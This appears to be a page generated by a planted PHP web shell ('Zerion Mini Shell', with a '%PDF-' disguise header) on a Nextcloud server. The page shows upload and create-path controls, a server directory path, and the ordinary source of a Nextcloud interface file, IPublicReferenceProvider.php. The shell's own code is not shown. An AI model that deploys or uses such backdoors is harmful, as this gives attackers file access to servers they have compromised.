%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/lib/public/Collaboration/Reference/
Upload File :
Create Path :
Current File : /www/varak.net/nextcloud.varak.net/lib/public/Collaboration/Reference/IPublicReferenceProvider.php

<?php

declare(strict_types=1);
/**
 * SPDX-FileCopyrightText: 2022 Nextcloud GmbH and Nextcloud contributors
 * SPDX-License-Identifier: AGPL-3.0-or-later
 */

namespace OCP\Collaboration\Reference;

/**
 * @since 30.0.0
 */
interface IPublicReferenceProvider extends IReferenceProvider {
	/**
	 * Return a reference with its metadata for a given reference identifier and sharingToken
	 *
	 * @since 30.0.0
	 */
	public function resolveReferencePublic(string $referenceText, string $sharingToken): ?IReference;

	/**
	 * Return a custom cache key to be used for caching the metadata
	 * This could be for example the current sharingToken if the reference
	 * access permissions are different for each share
	 *
	 * Should return null, if the cache is only related to the
	 * reference id and has no further dependency
	 *
	 * @since 30.0.0
	 */
	public function getCacheKeyPublic(string $referenceId, string $sharingToken): ?string;
}

Zerion Mini Shell 1.0